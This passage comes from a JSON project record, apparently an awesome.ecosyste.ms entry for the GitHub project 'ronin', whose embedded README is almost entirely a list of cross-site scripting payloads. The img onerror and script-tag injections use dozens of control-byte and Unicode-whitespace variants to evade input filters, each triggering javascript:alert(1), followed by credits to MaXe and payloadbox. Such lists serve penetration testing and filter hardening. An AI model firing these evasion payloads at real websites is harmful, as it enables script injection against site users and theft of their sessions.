\\x09onerror=javascript:alert(1)\u003e\n`\"'\u003e\u003cimg src=xxx:x \\x0Conerror=javascript:alert(1)\u003e\n`\"'\u003e\u003cimg src=xxx:x \\x00onerror=javascript:alert(1)\u003e\n`\"'\u003e\u003cimg src=xxx:x \\x27onerror=javascript:alert(1)\u003e\n`\"'\u003e\u003cimg src=xxx:x \\x20onerror=javascript:alert(1)\u003e\n\"`'\u003e\u003cscript\u003e\\x3Bjavascript:alert(1)\u003c/script\u003e\n\"`'\u003e\u003cscript\u003e\\x0Djavascript:alert(1)\u003c/script\u003e\n\"`'\u003e\u003cscript\u003e\\xEF\\xBB\\xBFjavascript:alert(1)\u003c/script\u003e\n\"`'\u003e\u003cscript\u003e\\xE2\\x80\\x81javascript:alert(1)\u003c/script\u003e\n\"`'\u003e\u003cscript\u003e\\xE2\\x80\\x84javascript:alert(1)\u003c/script\u003e\n\"`'\u003e\u003cscript\u003e\\xE3\\x80\\x80javascript:alert(1)\u003c/script\u003e\n\"`'\u003e\u003cscript\u003e\\x09javascript:alert(1)\u003c/script\u003e\n\"`'\u003e\u003cscript\u003e\\xE2\\x80\\x89javascript:alert(1)\u003c/script\u003e\n\"`'\u003e\u003cscript\u003e\\xE2\\x80\\x85javascript:alert(1)\u003c/script\u003e\n\"`'\u003e\u003cscript\u003e\\xE2\\x80\\x88javascript:alert(1)\u003c/script\u003e\n\"`'\u003e\u003cscript\u003e\\x00javascript:alert(1)\u003c/script\u003e\n\"`'\u003e\u003cscript\u003e\\xE2\\x80\\xA8javascript:alert(1)\u003c/script\u003e\n\"`'\u003e\u003cscript\u003e\\xE2\\x80\\x8Ajavascript:alert(1)\u003c/script\u003e\n\"`'\u003e\u003cscript\u003e\\xE1\\x9A\\x80javascript:alert(1)\u003c/script\u003e\n\"`'\u003e\u003cscript\u003e\\x0Cjavascript:alert(1)\u003c/script\u003e\n\"`'\u003e\u003cscript\u003e\\x2Bjavascript:alert(1)\u003c/script\u003e\n\"`'\u003e\u003cscript\u003e\\xF0\\x90\\x96\\x9Ajavascript:alert(1)\u003c/script\u003e\n\"`'\u003e\u003cscript\u003e-javascript:alert(1)\u003c/script\u003e\n\"`'\u003e\u003cscript\u003e\\x0Ajavascript:alert(1)\u003c/script\u003e\n\"`'\u003e\u003cscript\u003e\\xE2\\x80\\xAFjavascript:alert(1)\u003c/script\u003e\n\"`'\u003e\u003cscript\u003e\\x7Ejavascript:alert(1)\u003c/script\u003e\n\"`'\u003e\u003cscript\u003e\\xE2\\x80\\x87javascript:alert(1)\u003c/script\u003e\n\"`'\u003e\u003cscript\u003e\\xE2\\x81\\x9Fjavascript:alert(1)\u003c/script\u003e\n\"`'\u003e\u003cscript\u003e\\xE2\\x80\\xA9javascript:alert(1)\u003c/script\u003e\n\"`'\u003e\u003cscript\u003e\\xC2\\x85javascript:alert(1)\u003c/script\u003e\n\"`'\u003e\u003cscript\u003e\\xEF\\xBF\\xAEjavascript:alert(1)\u003c/script\u003e\n\"`'\u003e\u003cscript\u003e\\xE2\\x80\\x83javascript:alert(1)\u003c/script\u003e\n\"`'\u003e\u003cscript\u003e\\xE2\\x80\\x8Bjavascript:alert(1)\u003c/script\u003e\n\"`'\u003e\u003cscript\u003e\\xEF\\xBF\\xBEjavascript:alert(1)\u003c/script\u003e\n\"`'\u003e\u003cscript\u003e\\xE2\\x80\\x80javascript:alert(1)\u003c/script\u003e\n\"`'\u003e\u003cscript\u003e\\x21javascript:alert(1)\u003c/script\u003e\n\"`'\u003e\u003cscript\u003e\\xE2\\x80\\x82javascript:alert(1)\u003c/script\u003e\n\"`'\u003e\u003cscript\u003e\\xE2\\x80\\x86javascript:alert(1)\u003c/script\u003e\n\"`'\u003e\u003cscript\u003e\\xE1\\xA0\\x8Ejavascript:alert(1)\u003c/script\u003e\n\"`'\u003e\u003cscript\u003e\\x0Bjavascript:alert(1)\u003c/script\u003e\n\"`'\u003e\u003cscript\u003e\\x20javascript:alert(1)\u003c/script\u003e\n\"`'\u003e\u003cscript\u003e\\xC2\\xA0javascript:alert(1)\u003c/script\u003e\n\"/\u003e\u003cimg/onerror=\\x0Bjavascript:alert(1)\\x0Bsrc=xxx:x /\u003e\n\"/\u003e\u003cimg/onerror=\\x22javascript:alert(1)\\x22src=xxx:x /\u003e\n\"/\u003e\u003cimg/onerror=\\x09javascript:alert(1)\\x09src=xxx:x /\u003e\n\"/\u003e\u003cimg/onerror=\\x27javascript:alert(1)\\x27src=xxx:x /\u003e\n\"/\u003e\u003cimg/onerror=\\x0Ajavascript:alert(1)\\x0Asrc=xxx:x /\u003e\n```\n\u003c/div\u003e\u003c/details\u003e\n\n# Thanks to:\n- MaXe\n- payloadbox\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fbyt3n33dl3%2Fronin","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fbyt3n33dl3%2Fronin","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fbyt3n33dl3%2Fronin/lists"}